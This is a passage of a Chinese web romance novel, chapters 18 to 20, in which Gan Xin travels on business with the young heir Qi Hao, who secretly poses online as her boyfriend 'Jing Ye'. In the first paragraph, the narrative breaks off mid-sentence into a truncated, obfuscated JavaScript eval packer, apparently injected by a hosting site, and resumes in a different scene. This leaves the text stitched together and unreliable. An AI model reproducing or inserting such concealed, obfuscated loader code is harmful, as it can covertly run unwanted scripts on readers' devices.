甘歆被他这么一说,脸上有些尴尬,又回忆那天发生的事情,是因为……景页在被她删除又拒绝后,没有再加她才气了一天,即使晚上收到了他的二维码拼豆,也来不及挽救一天的空腹了。 见这个男孩认真,甘歆也不好再敷衍他,如实相告,“那天和我男朋友吵架了。” 齐灏眼睛一下就睁大了,连嘴都张开了些。 “我心情不好,一天没吃东西,就喝了一杯茶和一瓶酸奶,才犯胃病的,”甘歆自嘲地笑了笑,又抿了抿嘴,后半句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐灏捏紧了拳头,几乎想把景页从自己的身体里撕扯出来,质问他、责骂他,问问他到底有什么资格,让甘歆能够称他为男朋友。 长久以来在家族里的历练,已经让他有了天然的“少年老成”,在任何场景里,齐灏都能做到处变不惊,甚至能够刻意遮掩自己的喜好,让别人捉摸不透,他以为自己已经是一个“合格的大人”了。 可他今天才发现,齐灏不成熟,被齐灏当做“大人”角色的景页,更是个笑话。 他自以为的“礼节和等待”,竟然将一直以来放在心尖上的人疼成那样。 这漫漫长夜,能否让它独自对着自己流动,两倍速、三倍速,离甘歆近一点、再近一点。 手机响了,他拿出了裤袋里的看了看,不是这个,才从包里拿了另一个出来。 甘歆:“今天你可以对我遇到的小狗道谢吗?它叼了根骨头给我。” 齐灏的心都化了,“好,谢谢它。” 想了想,他将自己的另一个手机号发给了甘歆,“这是我的手机号,想找我又联系不上的时候,随时打电话,我会立刻接。” 临江公寓里,甘歆看着那串数字,有些惊讶,也有些温暖,长按保存了下来。 心里头的个中情愫都没提及,只给景页回了两个字,“好的。” 这一夜,甘歆好眠。 18、第18章 周六,机场,甘歆用里程积分兑换了个贵宾休息室。 早上起来的时候发现姨妈来了,真是头大,又打开了20寸的小行李箱放了两包卫生巾进去,在包里也放了几片,准备的淡色长裤又穿不了了,索性换了黑色的套装,忙里忙外的,约的车已经打了电话来,自然也来不及吃早饭。 又要被齐灏那个小男生念叨了,甘歆惊讶自己的第一个反应竟然是这个,自嘲似的笑了笑,直到进了休息室吃起了面包,她才觉得自己有了些底气。 “女士您好,请问您的航班是sa7869,座位号是37k吗?” 突然被一位穿着航司制服的人员询问,甘歆愣了愣,“稍等,我确认下。” 打开了电子登机牌,确认了信息,她点了点头,“是的。” “好的,您的座位已经自动升级至02a,这是您更新后的登机牌。”工作人员的柔美微笑与好听的声音,让甘歆下意识地伸出了手,将那张略显厚度的纸质登机牌接下了。 被升舱了?那报销怎么办?齐灏呢? 她迅速打开了手机,要给齐灏打电话,瞥到了登机牌上盖的红色戳,显眼、油亮,明显才盖上去不久,vvip重要客户,眯了眯眼睛,甘歆觉得有些不对,有可能是齐灏的手笔,那自己再打电话去,是主动去感谢?可她并不需要啊。 即使年薪丰厚,甘歆也从未在出差的时候搞过什么特殊,对航司、时间、座位向来无要求,就连买航班,都尽量找便宜的,她不想被财务诟病,这些能避则避的麻烦,她向来很守规矩。 02a,明显的头等舱座位。 失策了,在齐灏一声声的“普通人”的催眠下,忘记了他太子爷的身份。 一直到登机前,甘歆都没收到齐灏的信息,抱着“应该不会不来吧”的怀疑以及“别去问他”的坚持,她也始终没联系过齐灏,她心一横,爱来不来,反正宣讲的资料她也有。 最后是两名工作人员来请她登机的,一个帮着她拿箱子,一个引导,一路连空气都感觉喷了不少清新剂。 进了机舱,甘歆看到了已经坐在位置上的齐灏,他看了自己一眼,又收回去了,脑袋偏向了舷窗,脸色不太好看。 怎么了这是,起床气? 这架飞机并非大型机,头等舱只有两排位置,甘歆被安排在了齐灏的后面,两个人都靠窗,乘务员来告知自己旁边并没有人坐,可以随意按照喜好调换座位,她点点头道了谢。 小桌板上先上了两杯饮品,白水和橙汁,还有冒着热气的毛巾。 她没有动,抬头看了看前面的齐灏,如果说自己已经算是被“额外关照”了的话,齐灏那头更是无微不至,毛毯、拖鞋、多一个的腰枕,甚至还听到了乘务员问他要不要眼罩。 两个小时的航程而已,至于么。 甘歆从靠窗这边的缝隙看过去,正好能够看到齐灏转过来的半边脸,下颚线流畅清晰,鼻梁高挺,阖上的眼睛有着长长的睫毛,阳光打下来,在下眼睑落下了一片阴影,眉毛的颜色都因为光线的关系显得更加浓郁。 “看什么。”齐灏突然开了口,给甘歆吓了一跳。 “我以为你睡着了,”甘歆不怵他,“人家乘务员问你话你怎么都不答啊,没礼貌。” 齐灏的眼睛睁开了,“你没来之前我就答过了。” “大少爷,你好大的排场啊。”甘歆揶揄他。 “……”齐灏把头回了过去,一副不爱听的样子。 “哎哎,”逗齐灏真的有些上瘾,甘歆伸出了手,往前面够了够他,“你换的位置吗,我早上兑换的里程都退——” “你要是想聊天,”齐灏打断了甘歆的话,“可以坐到前面来。” 甘歆往后一靠,什么逗狗的心思都没了,这小孩儿什么时候能学着有点礼貌,明明做了好事,虽然是他自说自话的,她也不至于怪他,上这儿来摆什么谱。 吃了闷亏一向不惯着的甘歆,将他的这句话顶了回去,还治不了他了,“为什么不是你坐到后面来。” 说完这句话,乘务员就来提醒系好安全带,准备开始滑行去跑道排队了。 她觉得自己一定和齐灏八字不合,每次遇见他都有点事,偏偏这个小男生说话还难听,两人相处的时候不是尴尬就是不欢而散,等着北泽村的搞定,她说什么也要把f大活动的事情交出去。 “齐先生——飞机!飞机还在滑行,请您——” 在头等舱的那位乘务员迅速解开了自己的安全带,走到01a这侧的位置边,刚准备说出口的话拐了个弯,“请问有什么可以帮您的吗?” 甘歆抬眼看已经站起来的齐灏,一副生人勿近的样子,不知道他要整什么幺蛾子。 “我换个位置。”齐灏说得坦然。 下一秒,甘歆就觉得旁边的位置一陷,齐灏坐了下来,又迅速地系好安全带,转过去看着甘歆,整张脸并没有什么变化,甚至觉得更柔和了点,就是看过来的眼神实在深邃。 “你早上兑换的里程都怎么了?” 他问得波澜不惊,她吓得不轻。 “……你刚刚很危险,”甘歆皱了皱眉,“乘务员都吓到了。” “前面还有四架飞机在等,我们至少要在十分钟之后才会起飞,并且现在还没到正式的跑道上,”齐灏神色平静,连表情上明显的掌控欲都理所当然,“所以里程?” 甘歆咽了口唾沫,眉头拧了拧,“里程……被退回来了。” “哦,你要聊的就是这个?” 甘歆咬了咬牙,虽然受了别人的恩惠,但有些话该说还是得说,“以后不要这么做了,公司报销会很为难,出去玩怎么都不过分,出差就——” 话没说完,甘歆就看到齐灏的脸冷了下来,像早就在屋檐底下摇摇欲坠的冰棱子一样,直直地扎到了地心。 “第一次嘛,可以理解,”甘歆故作轻松地拍了拍齐灏的胳膊,“以后注意点就好。” 齐灏盯着甘歆看了很久,才转过去低了低头,“不是我。” 甘歆眨了眨眼睛,转过头去看齐灏,“什么不是你?” “不是我安排的。”他憋着的那口气好像终于松了下来,连话里都透着无奈。 “那为什么——”话刚说出去一半,甘歆就明白了。 票是她定的,通过代理公司,输入了齐灏的身份证号,可能从出票的那一刻起,有心人就开始安排了这一份妥帖,为了能让寰科的太子爷高看一眼,细致入微,连随行的甘歆都照顾到了。 没有人会来认领这份主动的安排,这也意味着,从今天齐灏进机场的那一刻开始,不,可能从他出门的那一刻开始,就有人在时刻注意着他的动向,给他提供最优质的服务和最舒适的体验。 好让太子爷觉得,今天很顺利、运气也不错,看所有人都很顺眼。 也许未来的某一天,今天的体验会让他潜意识地对和做出相关安排的航司、机场、甚至空管,都高看一眼。 就为了他的高看一眼。 甘歆皱了皱眉,突然觉得齐灏很可怜,别人是敞开了怀抱去拥抱世界,而他却在想方设法让自己不起眼。 她试探性地问了问:“你……如果自己买票的话,会好一点吗?” 刚刚还低沉着的齐灏,弯了弯嘴角,连眼尾都染上了些笑意,无奈没有变,但更加坦然了些,“不会。” 见甘歆好像还有些不明白的样子,他又补了一句,“变一拨人而已。” 没由来的,甘歆有些笑不出来了,她无拘无束、向往自由,几乎无法想象那种被紧缠着、接近窒息的生活,何况他才二十岁,甘歆下意识地把上了齐灏放在扶手上的胳膊,“你也挺不容易的。” 被甘歆把住的左手不自禁地捏成了拳头,齐灏笑了起来,并非他惯有的淡淡笑容,而是真的能从他表情上读到快乐的笑容,“比起大多数人,我已经很幸运了。” 见他并不纠结,甘歆也放松了,在椅子上往下挪了挪,换成了更放松的姿势,连栗红色的头发拱得也有些乱了也没搭理,闭上了眼睛喃喃道:“是啊……你是个男人已经赢在起跑线上了。” “为什么?” ——因为你不会来大姨妈。 话太糙了,甘歆还没和他熟到这份儿上,她不说话,闭目养神。 齐灏也不追问,在旁边安安静静地坐着。 明明是宽阔的头等舱,甘歆却觉得放在中间扶手上的手臂有点热,眼睛悄悄开了条缝,看到齐灏的手臂也放在那,藏青色牛津布外套因为手臂的自然弯曲而有了些褶皱,也只有一点点触碰到了自己的衣服上而已。 年轻人……火气这么旺的吗? 见齐灏不动,她眼睛睁开了一些,幸好,他已经闭上了眼睛,有一根长长的睫毛落在了他的颧骨内侧,甘歆想起了景页说的话。 太子爷今天一早肯定心情没多好,这些小把戏,哄个小男孩,应该也够? 她手肘戳了戳齐灏,“你别动,脸上有东西,我帮你拿掉。” 齐灏“嗯”了一声,真的没动,连眼睛都没睁开。 他先闻到的是香气,除了她家里的香气之外,还有一股好闻的花香,像是茉莉,又好像兰花,明明这么明艳热烈,却酷爱冷调的香味,如烈日中藏着一把雪白的刃,刺进了他的心脏,让他甘愿俯首称臣。 齐灏实在是想捉住在自己脸上小心游移的那只手,从指缝开始吻她,吻到她不得不握紧手心想要抽离,却始终无法挣脱自己亲自为他设下的桎梏。 可惜她的手太小心,只是微微擦过,就离开了。 “好了,醒醒,睁眼,”甘歆将那根眼睫毛放到了自己食指的指腹上,又端到了齐灏的面前,“许个愿,吹掉,很灵的。” “哪里学的。”全然不信的口气,心跳却在打鼓,期待她施舍一个答案。 甘歆挑了个眉,像是刻意秀恩爱一般,“我男朋友说的。” “哦……”齐灏低头,直接吹走了那枚睫毛。 他不需要许愿了,他已经达成所愿。 飞机轰鸣,腾空而起,上了万米高空。 即使氧气稀薄、温度极寒,他的身体与心脏依旧因她而热烈。 她叫他,男朋友。 19、第19章 特殊时期总是容易疲惫,甘歆在飞机上睡得很熟,直到听见降落广播才转醒,她发现自己正靠在齐灏的肩膀——上的腰枕上,发懵的甘歆并没有马上离开他的肩头,而是两眼通红地盯着他看了两眼。 之前见齐灏就觉得帅,没想到近距离看更帅。 老天爷对他实在是太偏爱。 甘歆直了起来,捋了两下头发,说话的声音都有些哑,“不好意思。” 一瓶已经开好了盖的水递到了她的面前,甘歆看了看水,又看了看他,齐灏对他扬了扬下巴,她就拿了过来喝了几口。 她皱了皱眉,有点凉,但能忍。 清了清嗓子,才对齐灏说:“快到了,等会我们就直接打车去高铁站,晚上到应该来得及。” “嗯。”齐灏还是淡淡的,语气里几乎没有起伏。 “你……让让,我去趟洗手间。” 齐灏坐起来了些,侧开了腿,甘歆看着这两条膝盖几乎要顶到前面座位的腿犯了难,她没有和齐灏啰嗦,手背直接拍了拍他的腿侧,又往上抬了抬,表情里多了些催促,“过不去,你起来。” 齐灏解了安全带起来了,就站在位置旁边,甘歆也解开了,顺势站了起来,刚往前走两步,下意识回头看了一眼座位——糟了。 她第一个反应是再坐回去,可已经站起来了,紧接着就去看齐灏。 完了,他也发现了。 刚刚睡得实在太熟,拧着拧着可能就……而且又是量大的第一天,虽然甘歆不觉得姨妈有什么可耻,但发生在一个比她小这么多的男大学生面,还是太尴尬了。 纠结了一会儿,甘歆还是坐回去了,齐灏也跟着坐了下来。 她有点不知道该怎么开口,无论是当做玩笑还是知识科普,都不合适。 “安全带系好。”齐灏先开了口。 甘歆随之将安全带系好了,咬着口腔里下嘴唇的软肉思考要怎么说。 没等甘歆开口,齐灏又补了一句,“还有二十分钟就落地了,别着急。” 甘歆的眼睛睁了睁,她没想到这个男生竟然没有任何惊慌,而是就像在说件十分平常的事一样,连表情都没有任何变化,更让她意外的是,齐灏没有过分关心,而是闭起了眼睛继续休息。 让一个男人面对如此窘境,他可能不会表现得太过惊讶,但他一定会关切地问你怎么样,这样的关切太过亲密,会让天性敏感的女孩子难堪。 但齐灏没有,他只是告知了时间,连提都没有提。 飞机平稳落地后,在滑行的这段时间里,齐灏已经解开安全带起身离开了,回来后,带回了一条深色的毛毯,没有递给甘歆,而是轻轻说:“再等一下。” 齐灏坐在外侧,他没起身,甘歆也没动。 直到所有的旅客出舱,他才起身,甘歆迅速走去了最近的飞机卫生间。 卫生间里多了一条女士长裤,藏青色的,干净、还有着洗衣液的飘香,她仔细看了看,竟然是空乘的制服,翻了翻尺码应该能穿,她没有犹豫,收拾好了之后抱着自己的裤子四下看了看,洗手台上还有个叠成小方块的无纺布袋。 考虑得真是……周到。 出洗手间的时候发现客舱里一个人都没有,连空乘都不在,她回到自己座位上拿包,发现那已经被铺上了深色的毛毯,包已经从座位底下拿出来放到了毛毯上。 帮了点忙,不多,帮得恰到好处。 甘歆觉得自己实在是小看了这个小男生。 出舱后也没有工作人员,只有齐灏在廊桥的入口那等她,左手拎着个旅行袋,右手推着甘歆的箱子。 她还没说谢谢,齐灏就开口了,“走吧。” 甘歆点了点头,跟在他后面。 他走得不快,甘歆恰好能跟上,路过饮水机时,齐灏让她等了一会儿,回来后就塞了个保温杯到了她的手里。 她实在太惊讶了,连道谢都有些苍白,“……谢谢。” 齐灏说:“新的,我没用过。” “……你用过也没关系,我没有太介意。”甘歆是真不太介意,年轻的时候总要分得清清楚楚,年纪上去了,才知道什么叫难得糊涂。 齐灏眉毛一挑,“你男朋友不介意?” 甘歆随口一说:“他又不知道。” “你挺开放啊。”齐灏看过来的眼神怪怪的,疑问没多少,更多的是刺挠。 甘歆被他说得都笑了,“……那还给你?” 齐灏没再回话,甘歆也松了口气,总算老实了。 到了出口,甘歆习惯性往出租车那走,被齐灏拉了一下包的带子,她疑惑地看过去。 “不坐高铁了,就这里出去。”齐灏说完就往一号门那走。 “哎,那边的门都是锁着的,我之前来过。”甘歆拽了下他的胳膊,拉住了他。 “……现在开了。” 这下换作齐灏握住了她的手臂,带着她往几乎没有人走动的一号门那走去,一路上甘歆念叨了两次,见齐灏不理她,也不再多话了,小朋友怎么不信邪,到时候见真章了就知道什么叫“不听老人言,吃亏在眼前”了。 老人的话,有的时候也不一定对。 一号门开了,还有个人等在门口,西装笔挺,戴白手套。 从来只有警车停靠的一号门路边,停了一辆库里南,车牌是999。 “少爷,歆总。” 白手套自然而然地接过了齐灏手里的行李箱和行李袋,先放到了后备箱里,再来给二位打开了后座车门。 甘歆头转得很慢,最后看向了齐灏的眼睛,齐灏的头往车那撇了一个小小的幅度。 “上车。” 他让甘歆先上了车,自己才上来。 库里南车内空间巨大,真皮座椅十分舒适,从坐垫到腰际都是暖的……不对,这是加热了吧?她转过头去看齐灏,发现他正在看地图,眉头紧锁着。 他看了甘歆一眼,话却是对着司机说的,“这辆车村道开不进去,而且也不合适,不是说了找辆普通的车就好?” 齐灏语气没多冷,话里责怪的意思也不多,但甘歆也感受到了些压迫感。 司机双手捏着方向盘,眼睛从后视镜看着齐灏,整个人都绷紧了,“抱歉少爷,要得急,还得和空港打招呼,普通车牌要报备进不来,才——”说到一半竟是直接收了声,“抱歉。” “安排一辆车到附近的县城等着,到时候换一下。” “是。”司机送了一口气,又自言自语似的说了句出发了,车才从一号门的路边开了出去。 甘歆多少也算是见过大场面的人了,可齐灏这个等级的毕竟没接触过,她心里暗暗惊讶,甚至刚刚听过他俩的对话觉得有些紧张,双腿都不自主地并拢了,两手捏着保温杯一下下地蹭着。 “高铁不方便,”齐灏解释了一句,“到县城换辆车,今晚能到,放心。” “……嗯。”甘歆咽了口唾沫。 齐灏似乎有些看不惯她这样,皱了皱眉,“渴了就喝水。” “……哦。”甘歆喝了一口水,好像缓过来了些,对着齐灏笑了笑,难得露出了些傻气,“开眼了,钞能力。” 齐灏没憋住,笑了出来,又把头转向了右边的窗,嘴角的弧度和微微泛红的耳廓都落到了甘歆的眼睛里。 小男孩……还是挺可爱的嘛。 像小时候吃的奶糖,第一口是硬的还吃不出什么味,越嚼越软,越来越香甜。 整个后腰都被烘得暖暖的,甘歆往后靠了靠,头也侧向了窗,看着高速路上迅速往后倒退的风景,她心里攒了些开心,开心到想与人分享。 从包里拿出了手机,找到了景页的对话框,打了一行字过去。 “小狗竟然比我想得更乖更聪明。” 叮叮—— 齐灏手上的手机没亮,但从裤子口袋里传出了提示音。 甘歆转过去看了他一眼,齐灏也盯着她看。 “看什么?” “你手机响了。” “哦。” “不看吗?” “你想看?”齐灏反问。 “……没有。” 甘歆回过了头,又给景页发了条信息,“周六休息吗?” 叮叮—— 甘歆慌了神,有个不大好的预感从心里升腾起来,瞪大了眼睛盯着齐灏看。 齐灏依旧波澜不惊的样子,从右侧口袋里拿出另一个手机,解锁之后无名指迅速往上蹭了一下,再拿到甘歆跟前,当着她的面点开了企业内部沟通的通讯软件,上面密密麻麻的都是红点。 叮叮——叮叮——叮叮—— 寰科的几个事业部、董事会、总裁办、采购组、审计组、风控组……不断刷新着聊天记录。 “歆总指导一下?” 齐灏第一次这么称呼她。 “商业机密,赶紧关上。”甘歆松了口气,白了他一眼,把他手推开了,自顾自地往窗外看去。 齐灏迅速从屏幕顶端拉了消息下来,打开了甘歆的对话框,她没有设置昵称,是一个小鲸鱼的图案,她夸他的话这么直白,齐灏感觉心脏好像被企鹅的鳍扇打了一下,震得都有些发麻。 第二句,明显是为了验证那声突兀的铃声的。 幸好,他们公司的通讯软件只要打开,就会有动静。 回消息的时候,齐灏也没遮掩着,他知道甘歆不会回过头来看他,表情明明没有变,整张脸却柔和了,修长正白的手指在屏幕上敲着,点完发送之后几不可见地笑了一下。 “不乱尿了?不休息,出差路上。” 配了个狗狗努力搬砖的表情包。 他又装模作样地把刚刚的通讯软件打开,回了几个艾特他的问题。 群里的人都惊讶了,从来不在群里吱声的小齐总,竟然回复了,还有胆大的销售发了他的表情包,上面的配字好像是……大润发杀鱼经验十三年。 齐灏又笑了一下,敢情自己七岁就开始打工了。 说得也没错,七岁那年,就开始接触寰科了。 他知道甘歆去看手机了,也知道她会回复,刚刚甚至有一瞬间的冲动,想将她的对话框直接摆在她面前,用直白的事实陈述,他就是她嘴里的男朋友。 那个会在光里为她送餐的,和那个会在暗中与她玩荒唐游戏的,是同一个人。 可时机实在不好,她刚刚惊恐的眼神已经透出了他暴露后的结局。 只要一想到暴露的后果是被舍弃,齐灏就几乎无法呼吸。 最后他也只能,将紧张得满是手汗的手心,在自己的裤袋里,反复擦了擦。 “不乱尿了,还很会照顾人,他很可爱。” 齐灏是在等甘歆再一次在车上睡去才看的手机,心里软得不像话,想伸手帮她把落在侧脸上的几缕发丝别到耳后,却在即将触碰到时收回了手。 再等等吧,再等等吧。 20、第20章 库里南一路在高速奔走,两个小时停到了服务区,车门依旧是司机开的,车太高,齐灏递了个手臂给甘歆,她借了个力才站定。 “怎么停在这?”甘歆有些疑问。 齐灏不假思索,“吃饭。” “你饿了?” 齐灏看着甘歆不说话,仿佛在等她想自己明白为什么吃饭,甘歆了然,对着他笑了笑,带着点嘲笑的语气对他说:“谁要是做你女朋友也挺辛苦的。” 说完后她就往前走了,直到进了服务区大厅齐灏才跟上来,甘歆觉得他脸绷得有点紧,连嘴唇都抿紧了。 没问齐灏意见,甘歆走进了一家汤面店,到了收银台前问他:“你吃什么?” “随便。” 最烦这种回答,“没有随便。” “和你一样。” 甘歆要了两碗辣肉面,拿过桌牌塞给了齐灏,“我去个洗手间,你找地方坐。” 她之前就发现了,只要对齐灏有明确的指令,他就会乖乖去做,即使心里有疑问或者不爽,也都是在做完的后话。甘歆带着点笑意往卫生间走,心里念叨着,真是个……乖乖小狗。 回去的路上沈确来了电话,甘歆看了眼在对面连筷子都没动的齐灏一眼,对他抬了个下巴,示意他先吃,齐灏依旧不动。 “嗯,已经到了,张然已经联系过村委了,那边会给我们留个住的地方。” “安排在明天下午,晚上请村委吃饭。” “明白,”甘歆又看了眼齐灏,“就我们俩,都是弱势群体,不会为难我们。” “放心吧,等完事了我来汇报。” “不用,不用不用,你忙你的,来了结束了都。” “好,知道了,谢谢沈总。” 挂完了电话,甘歆拿起拿起筷子,见齐灏还不动,“不爱吃?” “刚刚是沈确?”齐灏叫她老板的大名叫得如此顺溜。 “嗯,问我到了没,有没有啥问题,”甘歆催他,“快吃啊,坨了都。” 齐灏这才拿起筷子开始吃面,小声说了一句,“他要来啊?” “他就那么一说,老板说的话都得打个折扣听,”甘歆夹了个辣肉粒往嘴里送,混着汁水还香气四溢,“哎对了,开车的小哥怎么没来吃?不能和你同桌吃饭啊?” “……叫过了,他不来。”齐灏皱了皱眉,“我家又不是地主。” “嚯,”甘歆笑了笑,鬓边的头发散了下来,她又挂到耳后,“地主可高攀不上你家。” 齐灏没答话,两人吃得不算慢,飞机赶得早路上又累,这会儿已经过了中午,都饿了,但普通辣肉面都能吃得这么斯文的,甘歆倒是第一次见到。 连他放下筷子之后,嘴上都干干净净的,只有嘴角泛着的一点点红,提醒着他才吃过东西。 一碗面下肚,甘歆觉得还没有饱,经期饭量就会变大,她捂了捂肚子,又去看柜台上挂着的菜单。 还没说什么,齐灏就已经走了过去,不一会儿就带着个小票回来了。 这次上得很快,是一屉小笼包。 甘歆看了看,没动筷子。 齐灏看了他一眼,把蒸屉往甘歆这推了推,抬了抬下巴。 她嘿嘿笑了两下,表情有些贼,才伸筷子拿了一个,接着讪讪地说:“……特殊时期。” “能吃是福。”齐灏的表情依旧很淡,也没有动筷子的意思,几秒后,他的眉毛不自然地拧了拧,趁着甘歆咬下一个小笼包的时候说,“为什么做我女朋友辛苦?” 甘歆半个小笼包进也不是出也不是,最后还是塞进了嘴里,咀嚼了两下抽了张纸擦了擦嘴,“管得太严。” “有么?” 或许是齐灏发问的表情太过真诚,甘歆也认真地点了点头,“太有了。” “会觉得烦?” “看人吧,”甘歆又吃了个小笼包,说得随意,“我不太喜欢。” 齐灏放在桌子下的手都捏紧了,脸上一点都看不出来,“哦,你男朋友不怎么管你?” “不管啊,”甘歆已经吃掉了四个小笼包,放下了筷子,有些吃不下了,喝了口保温杯里的热水后,又补了一句,“管我干嘛,他也管不着。” “异地恋?周末情侣?” “你名词还挺多,大人的事小孩少打听,”甘歆直了直身体,感受了下吃得饱饱的胃,眯起了眼睛像一只慵懒的猫,“浪费了,最后两个吃不下了,走吧。” 齐灏不动,拿起了筷子夹起了一个小笼包,慢条斯理地放进了嘴里,连咀嚼的弧度都优雅,甘歆有一瞬间的失神,她已经想不起来了,上次有男生吃自己剩下的东西是什么时候。 寰科太子爷的素质……还是太高了。 离开餐厅之前,甘歆问他航司那边需不需要赔款,到底是给别人添麻烦了,齐灏看过来的眼神有她读不懂的情绪,很温柔,还有一点得意,仿佛一团掺杂着甜味的雾,摸不到,却感受到了被包裹起来的暖意。 他说……已经道过歉了,赔款对方没有接受。 说得那么轻松,好像只是一件无足轻重的、他应该做的小事。 赔款容易……但齐灏的道歉,太难得。 有什么能让齐家人道歉? 甘歆停下了脚步,回过头看齐灏,内心震荡,却不知道怎么开口,等齐灏也站定了看过来的时候,她叹了口气,“没必要做到这个地步的,给你添麻烦了。” 齐灏也愣了一下,“你想多了,是我给他们添麻烦。” 走回库里南的这段路,两人都没说话,还远远隔着一段距离,甘歆故意走得慢了些,落在了齐灏的后面,看着他挺拔的后背,走路的姿势都正,整个人的气质好像与他才20岁的年龄有些不符。早已领教过齐灏的周全和贴心,即使说的话不太好听,但桩桩件件做的事都是为她着想。 甘歆此时心里不得不承认,如果年轻个十岁,很难对这样的男孩不动心。 “怎么了?”齐灏似乎发觉了甘歆的落后,回过身来。 “没事,”甘歆找了个借口去掩盖刚刚的打量,“肚子有点疼。” 见齐灏咬了咬嘴唇,似乎在思考对策,又赶紧补了话,免得他又要做出什么举动来,“没事儿,第一天都这样,今天过去就好了。” “……没别的办法?”齐灏认真开口问。 “吃药,喝热水,蹲厕所,躺着,都是熬时间,”甘歆以过来人的口气对齐灏说,“做女人很辛苦的,弟弟。” “嗯。” 她难得嘴碎嘱咐,“以后要对女朋友好点。” “嗯。” 甘歆笑了一下,“我这都算好的了,还能动,就是容易饿容易累,很多小姑娘都超级疼。” 齐灏皱了皱眉,“那我去买点吃的放车上。” 甘歆迅速将他拉住了,“……刚刚吃挺多了,真不用,赶路呢,还是挺远的。” 幸好,劝住了。甘歆又和司机小哥打了个招呼,说辛苦他了,小哥看着她都不知道怎么回好,眼神来回飘忽,都不知道看甘歆好,还是齐灏好,最终也只是木木地点了点头,接着开车了。 库里南空间大,车上枯燥,甘歆拿出了电脑,打开了内容再顺一遍。 她心里很清楚,这次去北泽搞不好吃个瘪,面对空穴来风的传言,即使将事实摊开了去讲述,人家也不一定愿意信,她是被沈确派来背锅的,当然她也清楚,这种活儿他只能找个信得过的人来办,自己毕业后先进的晟宇实习,外面兜兜转转闯了一圈,最终还是在沈确的手底下做事。 宣讲的内容齐灏做得很详实,还特意去掉了一些学术性的用语,内容更为接地气了些,整体的风格简单干净,没有过多的动画演示,就像……他这个人一样,直接、坦然、不惧任何人的凝视。 ppt是齐灏自己做的,这点甘歆十分肯定,很难想象,拥有如此优渥资源的他,会真的脚踏实地将一份和自己无关的文件亲力亲为,甚至还在备注框里写上了注释,不是他即将宣讲的提词,而是写给甘歆看的,表达他这样写的理由。 内容顺完,又过去了四十分钟,司机小哥十分敬业,甘歆凑过脑袋从后视镜里去看他的时候,很少会与他对视,看来这也是长期训练下的成果。 她深深吸了口气,又缓缓吐露出来,再看向旁边的齐灏,已经睡着了,向着她这边的脸正好被阳光照到,又因为暗色的玻璃显出了些lomo风格,下颚线更明显了。 睫毛真的好长啊……这样的人许愿,老天爷都会多听一句的吧? 可能是今天被齐灏照顾得太好,又被问了与男朋友相处的问题,她第一次将两个人联系在了一起,虽然不露脸,但景页的性格实在太好了,字里行间都有阳光的温暖味道,从不反驳、从不质疑、从不约束,也从来不需要她解释。齐灏……周到是真、贴心也是真,就是说话和做事方式里透着骨子里的霸道,还有就是……太年轻。 明明两个搭不上边的人,甘歆意外觉得还挺搭的。 如果互相认识一下的话,应该能成为挺好的朋友吧。 想什么呢……她自己都不认识景页。 她莫名地伸出手,将自己视线范围内齐灏的脑袋用手遮住,视线从他的下颚线向下看,视线掠过喉结、领口,他的肩膀好像也没比景页的窄多少,接着就是黑色外套了,偏偏他今天的外套是那种特意偏大的茧型,甘歆根本看不出齐灏的真实身材,只有之前那次因为胃疼,记忆模糊中只知道这人远比看起来更精壮一些。 视线滑落到齐灏腰腹的时候,甘歆自己吓了一跳,干什么呢这是,趁着人家小男生睡着了所以肆无忌惮偷看吗,甚至还在思考他的身材?天呢,她在心里骂了自己一句。 还是积点德吧,人家才20岁。 后续的车程乏善可陈,五点多的时候进了县里,停在一家门面看起来比较大的饭店门口,下车的时候,甘歆看着这辆已经沾染上不少尘土的库里南,有点心疼。 “吃饭?”她可算学聪明了,主动对着齐灏眨眼睛。 “嗯,先进去吧,简单吃点,”齐灏转头问了司机,“一起?” “不了少爷,我媳妇刚给我电话没接着,我回个电话去正好,旁边吃碗面就行。” 司机小哥笑得真诚,齐灏也随他去,“等着东西放过去就回吧,今天辛苦了。” “后半路还是我来开吧,或者我跟车也行,换别人我不放心。” “不用,没事,”齐灏话淡,意思却不容拒绝,“村路你也不熟悉,早点回去吧。” “……好的,谢谢少爷。” 进了饭店,服务员直接将他们往包房里面引,一间看起来能坐十个人的包房,大玻璃转桌上只有一面扇形上放着几个菜和一大碗米饭。 “提前打过招呼了吧?”甘歆对着齐灏笑笑,“不然就给你整这几个菜?” “你不是不爱浪费么?” 甘歆眨了眨眼睛,不知道回什么,于是闭了嘴。 这里的饭菜偏咸偏辣,甘歆有些吃不惯,尤其螺丝尖椒,辣得她嘴都有些合不上了,一个劲地向外吐着,红红的舌尖从湿濡濡的两片唇冒出来,连鼻翼都被呛得有些红,喝了好几口汤都没觉得好到哪儿去,汤咸得让辣感更严重了。 齐灏吃了一半,出去了,回来的时候带了瓶甜牛奶饮品,放到了甘歆的手边,还已经拧开了盖子插上了吸管,“刚坐下怎么不说。” “……你的一片心意,”甘歆说话都有些不利索,“总不好辜负。” “那也比你吃不了强,下点饺子行吗?” “但是菜浪费了。” 齐灏看了她一眼,甘歆以为他要发脾气或者说难听的话,却没想到他却柔声说,“大堂里有几个工人只点了蔬菜,没动过的这几个我请老板娘去问问他们愿不愿意接受,动过的这两个我吃,好不好?” 甘歆以为自己听错了,看向齐灏的眼神都有些躲闪,刚刚的那句她承认有些故意为难的成分,却没想到齐灏竟然是这个反应。 他在哄我? 甘歆有点头疼。 荠菜饺子上来的时候这点头疼就不见了,她问服务员要了一碟香醋,又贼兮兮地看向齐灏,“你吃吗?” “店里就剩这几个了,你吃吧,”齐灏的嘴角好像有笑意,眼神在包房里夸张的水晶吊灯下也愈发温柔,“要不要来瓣儿蒜啊?” 甘歆连忙摆手,“不用不用,这样就很满足了。” 天知道她有多喜欢吃荠菜饺子,这种只出现在冬春的野菜,和肉糜混在一起后的清冽香气,再通过香醋的浸润后,刺激与清淡的味道混合,在舌尖温润绵长。 奶奶未过世时,总是成斤成斤地包饺子,总打电话叫甘歆去拿,即使她已经上班了,还偷偷给她塞零花钱,让她在外头别受委屈,反正奶奶在,饿不着她。 她低估了激素对女性的影响力,转念又想到奶奶已经过世了五年,鼻子不禁有点发酸,前三年还会每年去墓地上看看,后来这两年几乎都忙得记不起这件事了。 吸鼻子的声音不太明显,齐灏转了转台面,让纸巾对着甘歆。 